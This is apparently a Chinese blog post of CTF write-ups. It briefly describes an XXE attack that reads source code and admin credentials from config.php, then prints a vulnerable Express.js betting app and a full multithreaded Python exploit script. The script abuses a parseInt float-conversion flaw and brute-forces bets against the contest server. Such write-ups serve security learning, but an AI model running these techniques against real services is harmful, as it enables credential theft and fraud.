1.题目是Le Canard du Lac,开头画面是#

看看别的界面

就是一个xml接口，一个信息输入接口，然后一个登录接口，开始FUZZ测试，先试试搜索框存不存在SQL注入，发现没有反应，下一个xml，发现xml存在解析，并且能回显，但是读源文件会解析失败，尝试伪协议，使用base64编码后读取，成功读到源码

并且同理在config.php下读取到了管理员凭证，即账号密码，登陆进去后直接获得FLAG。

2.题目是gamblecore，源码直接给，这是js审计类题目#

1
const express = require('express');
2
const session = require('express-session');
3
const crypto = require('crypto');
4
const path = require('path');
5
const bodyParser = require('body-parser');
6

7
const app = express();
8
const PORT = 3000;
9

10
app.use(bodyParser.json());
11
app.use(express.static(path.join(__dirname, 'public')));
12
app.use('/audio', express.static(path.join(__dirname, 'audio'))); // Serve mp3s from app root
13

14
app.use(session({
15
    secret: crypto.randomBytes(32).toString('hex'),
16
    resave: false,
17
    saveUninitialized: true,
18
    cookie: { secure: false }
19
}));
20

21
// Initialize wallet
22
app.use((req, res, next) => {
23
    if (!req.session.wallet) {
24
        req.session.wallet = {
25
            coins: 10e-6, // 10 microcoins
26
            usd: 0
27
        };
28
    }
29
    next();
30
});
31

32
// Helper for secure random float [0, 1)
33
function secureRandom() {
34
    return crypto.randomInt(0, 100000000) / 100000000;
35
}
36

37
app.get('/api/balance', (req, res) => {
38
    res.json({
39
        coins: req.session.wallet.coins,
40
        microcoins: req.session.wallet.coins * 1e6,
41
        usd: req.session.wallet.usd
42
    });
43
});
44

45
app.post('/api/gamble', (req, res) => {
46
    const { currency, amount } = req.body;
47

48
    if (!['coins', 'usd'].includes(currency)) {
49
        return res.status(400).json({ error: 'Invalid currency' });
50
    }
51

52
    let betAmount = parseFloat(amount);
53
    if (isNaN(betAmount) || betAmount <= 0) {
54
        return res.status(400).json({ error: 'Invalid amount' });
55
    }
56

57
    const wallet = req.session.wallet;
58

59
    if (currency === 'coins') {
60
        if (betAmount > wallet.coins) {
61
            return res.status(400).json({ error: 'Insufficient funds' });
62
        }
63
    } else {
64
        if (betAmount > wallet.usd) {
65
            return res.status(400).json({ error: 'Insufficient funds' });
66
        }
67
    }
68

69
    // Deduct bet
70
    if (currency === 'coins') wallet.coins -= betAmount;
71
    else wallet.usd -= betAmount;
72

73
    // 9% chance to win
74
    const win = secureRandom() < 0.09;
75
    let winnings = 0;
76

77
    if (win) {
78
        winnings = betAmount * 10;
79
        if (currency === 'coins') wallet.coins += winnings;
80
        else wallet.usd += winnings;
81
    }
82

83
    res.json({
84
        win: win,
85
        new_balance: currency === 'coins' ? wallet.coins : wallet.usd,
86
        winnings: winnings
87
    });
88
});
89

90
app.post('/api/convert', (req, res) => {
91
    let { amount } = req.body;
92

93
    const wallet = req.session.wallet;
94
    const coinBalance = parseInt(wallet.coins);
95
    amount = parseInt(amount);
96
    if (isNaN(amount) || amount <= 0) {
97
        return res.status(400).json({ error: 'Invalid amount' });
98
    }
99

100
    if (amount <= coinBalance && amount > 0) {
101
        wallet.coins -= amount;
102
        wallet.usd += amount * 0.01;
103
        return res.json({ success: true, message: `Converted ${amount} coins to $${(amount * 0.01).toFixed(2)}` });
104
    } else {
105
        return res.status(400).json({ error: 'Conversion failed.' });
106
    }
107
});
108

109
app.post('/api/flag', (req, res) => {
110
    if (req.session.wallet.usd >= 10) {
111
        req.session.wallet.usd -= 10;
112
        res.json({ flag: process.env.FLAG || 'EPFL{fake_flag}' });
113
    } else {
114
        res.status(400).json({ error: 'Not enough USD. You need $10.' });
115
    }
116
});
117

118
app.post('/api/deposit', (req, res) => {
119
    res.status(503).json({ error: 'Deposit unavailable at the moment' });
120
});
121

122
app.post('/api/withdraw', (req, res) => {
123
    res.status(503).json({ error: 'Withdrawal unavailable at the moment' });
124
});
125

126
app.listen(PORT, () => {
127
    console.log(`Server running on http://0.0.0.0:${PORT}`);
128
});

定义了很多路由，那就让我们一步一步去梳理过程，先是设定一个钱包，

1
// Initialize wallet
2
app.use((req, res, next) => {
3
    if (!req.session.wallet) {
4
        req.session.wallet = {
5
            coins: 10e-6, // 10 microcoins
6
            usd: 0
7
        };
8
    }
9
    next();
10
});

初始化之后钱包就有10e-6的钱了，然后是game环节，这里讲下，因为后面的flag模块是判断数据库的usd是不是到了10，而不是post，所以我们改post的作用在前面，因为这里是把post上来的amount解析为浮点数，然后我们用初始的0.00000001const下注一次，然后有%91概率会输，于是我们输了之后就有了0.0000000091const，换算成科学计数法就是9.0000001e-7，然后我们看看换钱的算法

1
app.post('/api/convert', (req, res) => {
2
    let { amount } = req.body;
3

4
    const wallet = req.session.wallet;
5
    const coinBalance = parseInt(wallet.coins);
6
    amount = parseInt(amount);
7
    if (isNaN(amount) || amount <= 0) {
8
        return res.status(400).json({ error: 'Invalid amount' });
9
    }
10

11
    if (amount <= coinBalance && amount > 0) {
12
        wallet.coins -= amount;
13
        wallet.usd += amount * 0.01;
14
        return res.json({ success: true, message: `Converted ${amount} coins to $${(amount * 0.01).toFixed(2)}` });
15
    } else {
16
        return res.status(400).json({ error: 'Conversion failed.' });
17
    }
18
});

我们发现coins是用parseInt处理的，这个函数处理浮点数的科学计数法会把它先解析成字符串再进行处理，于是就省略了e啥的，就成了9，然后换成了0.09$，接下来就是多线程爆破了，因为

const win = secureRandom() < 0.09;

let winnings = 0;

也就是胜率是%9，很低，并且要连续获胜3次，usd从0.09->0.9->9->90，这样usd就>10，系统就输出flag了，这里把py梭哈脚本贴上来

1
import requests
2
import time
3
import threading
4
from concurrent.futures import ThreadPoolExecutor, as_completed
5

6
BASE = "https://chall.polygl0ts.ch:8148"
7
TIMEOUT = 5
8
WORKERS = 10  # 并发线程数
9

10

11
def build_session():
12
    s = requests.Session()
13
    # 禁用环境代理
14
    s.trust_env = False
15
    s.proxies = {}
16
    return s
17

18

19
def api_get(s, path):
20
    return s.get(BASE + path, timeout=TIMEOUT)
21

22

23
def api_post(s, path, json=None):
24
    return s.post(BASE + path, json=json, timeout=TIMEOUT)
25

26

27
def get_balance(s):
28
    r = api_get(s, "/api/balance")
29
    r.raise_for_status()
30
    return r.json()
31

32

33
def gamble_coin_to_magic_zone(s, wid, attempt):
34
    """
35
    用 coins 赌 0.0000091，目标让 coins 掉到 9e-7 左右
36
    """
37
    try:
38
        r = api_post(
39
            s, "/api/gamble",
40
            json={"currency": "coins", "amount": 0.0000091}
41
        )
42
        if not r.ok:
43
            print(f"[W{wid} A{attempt}] gamble coins 请求失败，code={r.status_code}")
44
            return False
45

46
        b = get_balance(s)
47
        coins = b.get("coins", 0.0)
48
        print(f"[W{wid} A{attempt}] 赌完 coins 后余额：{b}")
49

50
        # coins 在 (0, 1e-6) 区间基本就是我们要的 9e-7 那段
51
        if 0 < coins < 1e-6:
52
            print(f"[W{wid} A{attempt}] ✅ 进入魔法区间 coins={coins}")
53
            return True
54
        else:
55
            print(f"[W{wid} A{attempt}] ❌ 没进魔法区间 coins={coins}")
56
            return False
57

58
    except Exception as e:
59
        print(f"[W{wid} A{attempt}] gamble_coin_to_magic_zone 异常: {e}")
60
        return False
61

62

63
def convert_magic(s, wid, attempt):
64
    """
65
    在 coins≈9e-7 时，利用 parseInt，把 amount=9e-7 变成 9 coin -> 0.09 USD
66
    """
67
    try:
68
        r = api_post(s, "/api/convert", json={"amount": 0.0000009})
69
        if not r.ok:
70
            print(f"[W{wid} A{attempt}] convert 请求失败，code={r.status_code}")
71
            return False
72

73
        b = get_balance(s)
74
        usd = b.get("usd", 0.0)
75
        print(f"[W{wid} A{attempt}] 兑换后余额：{b}")
76
        if usd >= 0.09 - 1e-6:
77
            print(f"[W{wid} A{attempt}] ✅ 成功拿到初始 USD={usd}")
78
            return True
79
        else:
80
            print(f"[W{wid} A{attempt}] ❌ 兑换后 USD 不够，usd={usd}")
81
            return False
82

83
    except Exception as e:
84
        print(f"[W{wid} A{attempt}] convert_magic 异常: {e}")
85
        return False
86

87

88
def gamble_usd_to_flag(s, wid, attempt, stop_event):
89
    """
90
    用 USD all-in 赌到 >= 10，然后买 flag。
91
    任一线程成功后会 stop_event.set()
92
    """
93
    round_id = 0
94
    while not stop_event.is_set():
95
        round_id += 1
96
        try:
97
            b = get_balance(s)
98
        except Exception as e:
99
            print(f"[W{wid} A{attempt} R{round_id}] 读取余额异常: {e}")
100
            return None
101

102
        usd = b.get("usd", 0.0)
103

104
        if usd >= 10:
105
            print(f"[W{wid} A{attempt} R{round_id}] 🎯 USD={usd} ≥10，尝试买 flag")
106
            try:
107
                r = api_post(s, "/api/flag")
108
                data = r.json()
109
            except Exception as e:
110
                print(f"[W{wid} A{attempt} R{round_id}] /api/flag 异常: {e}, text={r.text if 'r' in locals() else ''}")
111
                return None
112

113
            if isinstance(data, dict) and "flag" in data:
114
                print(f"[W{wid} A{attempt} R{round_id}] 🏁 拿到 flag: {data['flag']}")
115
                return data["flag"]
116
            else:
117
                print(f"[W{wid} A{attempt} R{round_id}] /api/flag 返回不含 flag: {data}")
118
                return None
119

120
        if usd <= 0:
121
            print(f"[W{wid} A{attempt} R{round_id}] 💀 USD 已归零，本 session 死亡")
122
            return None
123

124
        print(f"[W{wid} A{attempt} R{round_id}] 💸 all-in USD = {usd}")
125
        try:
126
            r = api_post(
127
                s, "/api/gamble",
128
                json={"currency": "usd", "amount": usd}
129
            )
130
            if not r.ok:
131
                print(f"[W{wid} A{attempt} R{round_id}] gamble usd 请求失败，code={r.status_code}")
132
                return None
133
        except Exception as e:
134
            print(f"[W{wid} A{attempt} R{round_id}] gamble usd 异常: {e}")
135
            return None
136

137
        # 稍微控速，减轻服务器压力
138
        time.sleep(0.02)
139

140

141
def worker(worker_id, stop_event):
142
    """
143
    单个线程的循环逻辑：
144
    不断新建 session -> 调整 coins -> convert -> 赌 usd
145
    任一成功拿到 flag 就返回 flag。
146
    """
147
    attempts = 0
148
    while not stop_event.is_set():
149
        attempts += 1
150
        print(f"\n[W{worker_id}] ===== 新尝试 A{attempts} 开始 =====")
151

152
        try:
153
            s = build_session()
154
            r = api_get(s, "/api/balance")
155
            r.raise_for_status()
156
            print(f"[W{worker_id} A{attempts}] 初始余额：{r.json()}")
157
        except Exception as e:
158
            print(f"[W{worker_id} A{attempts}] 建立 session / 获取初始余额失败: {e}")
159
            continue
160

161
        # 1. 调整 coins 到魔法区间
162
        if not gamble_coin_to_magic_zone(s, worker_id, attempts):
163
            continue
164

165
        # 2. 利用 convert 漏洞换出 0.09 USD
166
        if not convert_magic(s, worker_id, attempts):
167
            continue
168

169
        # 3. 用 USD all-in 赌到 ≥10，再买 flag
170
        flag = gamble_usd_to_flag(s, worker_id, attempts, stop_event)
171
        if flag:
172
            print(f"[W{worker_id}] 🎉 成功拿到 flag！结束本 worker。")
173
            return flag
174

175
    return None
176

177

178
def main():
179
    stop_event = threading.Event()
180
    flag_result = None
181

182
    with ThreadPoolExecutor(max_workers=WORKERS) as executor:
183
        futures = {
184
            executor.submit(worker, i, stop_event): i
185
            for i in range(1, WORKERS + 1)
186
        }
187

188
        for future in as_completed(futures):
189
            worker_id = futures[future]
190
            try:
191
                result = future.result()
192
            except Exception as e:
193
                print(f"[W{worker_id}] worker 出错：{e}")
194
                continue
195

196
            if result:
197
                flag_result = result
198
                stop_event.set()
199
                break
200

201
    if flag_result:
202
        print("\n================ 最终 FLAG ================")
203
        print(flag_result)
204
        print("===========================================")
205
    else:
206
        print("还没刷到 flag，可以考虑把 WORKERS 调大、或者多跑一会儿。")
207

208

209
if __name__ == "__main__":
210
    main()

萦梦sora~Nyaの安全Blog

1.题目是Le Canard du Lac,开头画面是#

2.题目是gamblecore，源码直接给，这是js审计类题目#